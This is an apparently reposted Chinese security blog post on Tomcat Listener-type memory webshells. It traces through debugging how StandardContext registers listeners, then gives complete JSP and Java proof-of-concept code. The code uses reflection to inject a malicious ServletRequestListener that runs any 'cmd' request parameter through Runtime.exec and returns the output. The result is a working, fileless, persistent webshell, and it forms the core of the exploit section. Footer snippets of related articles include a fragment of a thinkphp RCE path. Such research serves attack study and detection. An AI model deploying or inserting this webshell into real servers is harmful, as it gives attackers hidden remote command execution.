内存马流程理解与手写 EXP

VSole2023-04-10 09:53:07

0x01 前言

内存马给我最大的感受是,它可以有很强的隐蔽性,但是攻击方式也是比较局限,仅仅是文件上传这种,相比于反序列化其实,反序列化的危害性要强的多的多。

之前在前文基础内容里面已经提过了 Tomcat 的一些架构知识,这里的话就不再赘述,简单写一下 Listener 的基础知识。

0x02 Listener 基础知识

Java Web 开发中的监听器(Listener)就是 Application、Session 和 Request 三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件。

用途

可以使用监听器监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。

Listener 三个域对象

ServletContextListener
HttpSessionListener
ServletRequestListener

很明显,ServletRequestListener 是最适合用来作为内存马的。

因为 ServletRequestListener 是用来监听 ServletRequest对 象的,当我们访问任意资源时,都会触发ServletRequestListener#requestInitialized()方法。下面我们来实现一个恶意的 Listener。

0x03 Listener 基础代码实现

和之前 Filter 型内存马的原理其实是一样的,之前我们说到 Filter 内存马需要定义一个实现 Filter 接口的类,Listener 也是一样,我们直接在之前创建好的 Servlet 项目里面冻手。

要求 Listener 的业务对象要实现EventListener这个接口,我们可以先去看一下EventListener这个接口

它有非常多的实现类,那么如果我们需要实现内存马的话就需要找一个每个请求都会触发的 Listener,我们去寻找的时候一定是优先找 Servlet开头的类。

这里我找到了ServletRequestListener,因为根据名字以及其中的requestInitialized()方法感觉我们的发送的每个请求都会触发这个监控器。

这里我们尝试自己写一个 Listener,并进行测试。

因为前面猜想requestInitialized()方法可以触发 Listener 监控器,所以我们在requestInitialized()方法里面加上一些代码,来证明它何时被执行。

package Listener;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import java.util.EventListener;
@WebListener("/listenerTest")
public class ListenerTest implements ServletRequestListener {
    public ListenerTest(){
    }
    @Override
 public void requestDestroyed(ServletRequestEvent sre) {
    }
    @Override
 public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("Listener 被调用");
 }
}

同样是需要我们修改 web.xml 文件的,添加如下。

 Listener.ListenerTest

接着访问对应的路径即可,这里是因人而异的。当我们访问对应路径的时候,会在控制台打印出如下的信息。

至此,Listener 基础代码实现完成,下面我们来分析 Listener 的运行流程。

0x04 Listener 流程分析

流程分析的意义是让我们能够正确的写入恶意的内存马,具体要解决的其实有以下两个问题:

1、 我们的恶意代码应该在哪儿编写?

2、 1. Tomcat 中的 Listener 是如何实现注册的?

1. 应用开启前

先读取 web.xml

一开始我是把断点下在requestInitialized()方法这里的,后续发现进不去,于是看了其他师傅的文章,才知道是:在启动应用的时候,ContextConfig类会去读取配置文件,所以我们去到ContextConfig这个类里面找一下哪个方法是来读取配置文件的。

找了很久,主要是去看谁调用了 web.xml,最好是谁把 web.xml 作为参数传进去,因为一般作为参数传进去,才会进行大处理,发现是configureContext()方法。

这个方法主要是做一些读取数据并保存的工作,我们不难发现其中读取了 Filter 等 Servlet 组件,我们重点肯定是关注于 Listener 的读取的,最后找到在这个地方读取了 web.xml。

所以这个地方,1235 行可以先打个断点,接着我们继续往里看 ————addApplicationListener()这个方法,进去之后发现是一个接口中的方法,我们去找它的实现方法。

第一个FailedContext类里面的addApplicationListener()是没东西的,东西在StandContext里面。

明白断点后开始调试:

一开始我们的第一步,直接获取到 web.xml,如图:

我们看到 webxml 里面的 listener 已经有了对应的 Listener 文件,继续往下走。

总的代码比较啰嗦,但是耐心一点也还好,我们下一步应该是走到addApplicationListener()这里的。

读取完配置文件,加载 Listener

当我们读取完配置文件,当应用启动的时候,StandardContext会去调用listenerStart()方法。这个方法做了一些基础的安全检查,最后完成简单的 start 业务。

刚开始的地方,listenerStart()方法中有这么一个语句:

String listeners[] = findApplicationListeners();

这里实际就是把之前的 Listener 存到这里面,之前看某位师傅的文章这个地方分析半天,其实根本没必要,这里自己心里有个数就好了,我也就不跟断点了,这个调试过程非常烦杂,没有必要。

2. 应用运行过程

我们最先开始调试,肯定是把断点下在requestInitialized()方法这里的,调试之后发现一个什么问题呢?是我们走进去之后的代码没有什么实际作用,其实这里是断点下错了,正确的断点位置应该下在这里。

正确的断点位置如图:

开始调试,这里我们先进到getApplicationEventListeners()方法里面:

getApplicationEventListeners()方法做了这么一件事:获取一个 Listener 数组:

public Object[] getApplicationEventListeners() {
        return applicationEventListenersList.toArray();
}

我们可以点进去看一下 applicationEventListenersList 是什么,可以看到 Listener 实际上是存储在applicationEventListenersList属性中的。

并且我们可以通过StandardContext#addApplicationEventListener()方法来添加 Listener:

public void addApplicationEventListener(Object listener) {
        applicationEventListenersList.add(listener);
}
到这一步的调试就没有内容了,所以这里的逻辑有应该是和 Filter 差不多的,Listener 这里有一个 Listener 数组,对应的 Filter 里面也有一个 Filter 数组。

在 Listener 组内的 Listeners 会被逐个触发,最后到我们自己定义的 Listener 的requestInitialized()方法去。

3. 小结运行流程

在应用开始前,先读取了 web.xml,从中读取到 Listeners,并进行加载;加载完毕之后会进行逐个读取,对每一个 Listener,都会到requestInitialized()方法进去。

0x05 Listner 型内存马 EXP 编写

1. EXP 分析

如果我们要实现 EXP,要做哪些步骤呢?

很明显的一点是,我们的恶意代码肯定是写在对应 Listener 的requestInitialized()方法里面的。

通过 StandardContext 类的addApplicationEventListener()方法把恶意的 Listener 放进去。

Listener 与 Filter 的大体流程是一样的,所以我们也可以把 Listener 先放到整个 Servlet 最前面去

这就是最基础的两步了,如果排先后顺序的话一定是先获取 StandardContext 类,再通过addApplicationEventListener()方法把恶意的 Listener 放进去,我们可以用流程图来表示一下运行过程。

2. EXP 编写

我们一步步来实现整个 EXP,首先做最简单的工作 ———— 编写恶意的代码。

String cmd;
        try {
            cmd = sre.getServletRequest().getParameter("cmd");
            org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
            Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
            requestField.setAccessible(true);
            Request request = (Request) requestField.get(requestFacade);
            Response response = request.getResponse();
            if (cmd != null){
                InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                int i = 0;
                byte[] bytes = new byte[1024];
                while ((i=inputStream.read(bytes)) != -1){
                    response.getWriter().write(new String(bytes,0,i));
                    response.getWriter().write("\r");
                }
            }
        }catch (Exception e){
            e.printStackTrace();
        }

接着是获取 StandardContext 的代码,并且添加 Listener,在StandardHostValve#invoke中,可以看到其通过request对象来获取StandardContext类。

同样地,由于JSP内置了request对象,我们也可以使用同样的方式来获取。

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
%>

接着我们编写一个恶意的Listener。

<%!
    public class Shell_Listener implements ServletRequestListener {
 
        public void requestInitialized(ServletRequestEvent sre) {
            HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
            String cmd = request.getParameter("cmd");
            if (cmd != null) {
                try {
                    Runtime.getRuntime().exec(cmd);
                } catch (IOException e) {
                    e.printStackTrace();
                } catch (NullPointerException n) {
                    n.printStackTrace();
                }
            }
        }
 
        public void requestDestroyed(ServletRequestEvent sre) {
        }
    }
%>

最后添加监听器。

<%
	Shell_Listener shell_Listener = new Shell_Listener();
    context.addApplicationEventListener(shell_Listener);
%>

3. 最终 PoC

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%!
    class ListenerMemShell implements ServletRequestListener {
        @Override
        public void requestInitialized(ServletRequestEvent sre) {
            String cmd;
            try {
                cmd = sre.getServletRequest().getParameter("cmd");
                org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
                Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
                requestField.setAccessible(true);
                Request request = (Request) requestField.get(requestFacade);
                Response response = request.getResponse();
                if (cmd != null){
                    InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                    int i = 0;
                    byte[] bytes = new byte[1024];
                    while ((i=inputStream.read(bytes)) != -1){
                        response.getWriter().write(new String(bytes,0,i));
                        response.getWriter().write("\r");
                    }
                }
            }catch (Exception e){
                e.printStackTrace();
            }
        }
        @Override
        public void requestDestroyed(ServletRequestEvent sre) {
        }
    }
%>
<%
    ServletContext servletContext =  request.getServletContext();
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
    Object[] objects = standardContext.getApplicationEventListeners();
    List listeners = Arrays.asList(objects);
    List arrayList = new ArrayList(listeners);
    arrayList.add(new ListenerMemShell());
    standardContext.setApplicationEventListeners(arrayList.toArray());
%>
成功
这是 JSP 的写法,我们还可以和 Filter 型内存马一样,用 .java 的写法来完成。PoC 如下,我这里实验失败了,师傅们可以自行测试一下。
package Listener;  
  
import javax.servlet.ServletRequestEvent;  
import javax.servlet.ServletRequestListener;  
import javax.servlet.annotation.WebListener;  
import javax.servlet.http.HttpServletRequest;  
import javax.servlet.http.HttpServletResponse;  
import java.io.BufferedReader;  
import java.io.InputStream;  
import java.io.InputStreamReader;  
import java.lang.reflect.Field;  
  
@WebListener  
public class ListenerShell implements ServletRequestListener {  
    @Override  
 public void requestDestroyed(ServletRequestEvent servletRequestEvent) {  
    }  
  
    @Override  
 public void requestInitialized(ServletRequestEvent servletRequestEvent) {  
        HttpServletRequest req = (HttpServletRequest)servletRequestEvent.getServletRequest();  
 HttpServletResponse resp = this.getResponseFromRequest(req);  
 String cmd = req.getParameter("cmd");  
 try {  
            String result = this.CommandExec(cmd);  
 resp.getWriter().println(result);  
 System.out.println("部署完成");  
 } catch (Exception e) {  
  
        }  
    }  
    public String CommandExec(String cmd) throws Exception {  
        Runtime rt = Runtime.getRuntime();  
 Process proc = rt.exec(cmd);  
 InputStream stderr =  proc.getInputStream();  
 InputStreamReader isr = new InputStreamReader(stderr);  
 BufferedReader br = new BufferedReader(isr);  
 String line = null;  
 StringBuffer sb = new StringBuffer();  
 while ((line = br.readLine()) != null) {  
            sb.append(line + "");  
 }  
        return sb.toString();  
 }  
  
    public synchronized HttpServletResponse getResponseFromRequest(HttpServletRequest var1) {  
        HttpServletResponse var2 = null;  
  
 try {  
            Field var3 = var1.getClass().getDeclaredField("response");  
 var3.setAccessible(true);  
 var2 = (HttpServletResponse)var3.get(var1);  
 } catch (Exception var8) {  
            try {  
                Field var4 = var1.getClass().getDeclaredField("request");  
 var4.setAccessible(true);  
 Object var5 = var4.get(var1);  
 Field var6 = var5.getClass().getDeclaredField("response");  
 var6.setAccessible(true);  
 var2 = (HttpServletResponse)var6.get(var5);  
 } catch (Exception var7) {  
            }  
        }  
  
        return var2;  
 }  
}
stringresponse
本作品采用《CC 协议》,转载必须注明作者和本文链接
APP协议分析心得
2023-07-18 09:23:41
对脱壳流程有不明白的可参考我之前写的文章:[原创]ART环境下dex加载流程分析及frida dump dex方案。var magic_Hex = [0x64, 0x65, 0x78, 0x0a, 0x30, 0x33, 0x35, 0x00];var dex_path = "/data/data/" + apk_Name + "/" + dex_size + ".dex";
从fofa中搜索RDP,会看到它会解析出RDP的信息。本文探索如何自己实现一个。1. Nmap指纹在http
从去年开始 xray的yml poc升级到了v2版本和v1版本相比,执行流程上有了较大变化,以较为简单的thinkphp5的poc来看 v1版本 name: poc-yaml-thinkphp5-controller-rce rules: - method: GET path: /index.php?s=/Index/\think\app/invokefunction&functi
命令行版 HTTP 工具集,自动化检查网站状态。
前段时间Confluence发布了CVE-2021-26085补丁,刚好之前分析过Confluence的漏洞,免去了搭建漏洞分析环境的麻烦,因此分析下这个漏洞。 分析过程 漏洞点定位 这个漏洞爆出来已经有一段时间了,所以已经有公开的POC了
Spring MVC是一种基于Java的实现了Web MVC设计模式的请求驱动类型的轻量级Web框架,即使用了MVC架构模式的思想,将web层进行职责解耦,基于请求驱动指的就是使用请求-响应模型,框架的目的就是帮助我们简化开发,Spring Web MVC也是要简化我们日常Web开发的
引言 在JavaWeb应用中,任意文件上传一直是关注的重点,攻击者通过上传恶意jsp文件,可以获取服务器权限。但是在Springboot框架对JSP解析存在一定的限制。 Spring官方原文如下,大概意思是jsp对内嵌的容器的支持不太...
一款盲目WAF识别工具
2023-05-19 08:58:46
一种识别工具,可以基于盲目推理识别Web保护类型。盲推理是通过检查由一组预定义的攻击性有效载荷引起的响应来完成的,其中这些有效载荷仅用于触发介于两者之间的Web保护系统(例如),目前,它支持80多种不同的保护产品。____ ___ ___ ____ ______ | T T __ __ ____ _____. l j| \ / _]| \ | T| | || T__T T / T| __|. | T | \ / [_ | _ Yl_j l_j| ~ || | | |Y o || l_. | | | D YY _]| | | | | |___ || | | || || _|. j l | || [_ | | | | | | !-h, --help Show this help message and exit. --proxy-file=PRO.. Load HTTP proxy list from a file
在前天的沙龙上,师傅们积极探讨,期间提出了一些关于app抓包的相关问题。在此小小的总结一波有关的分析以及解决办法。
VSole
网络安全专家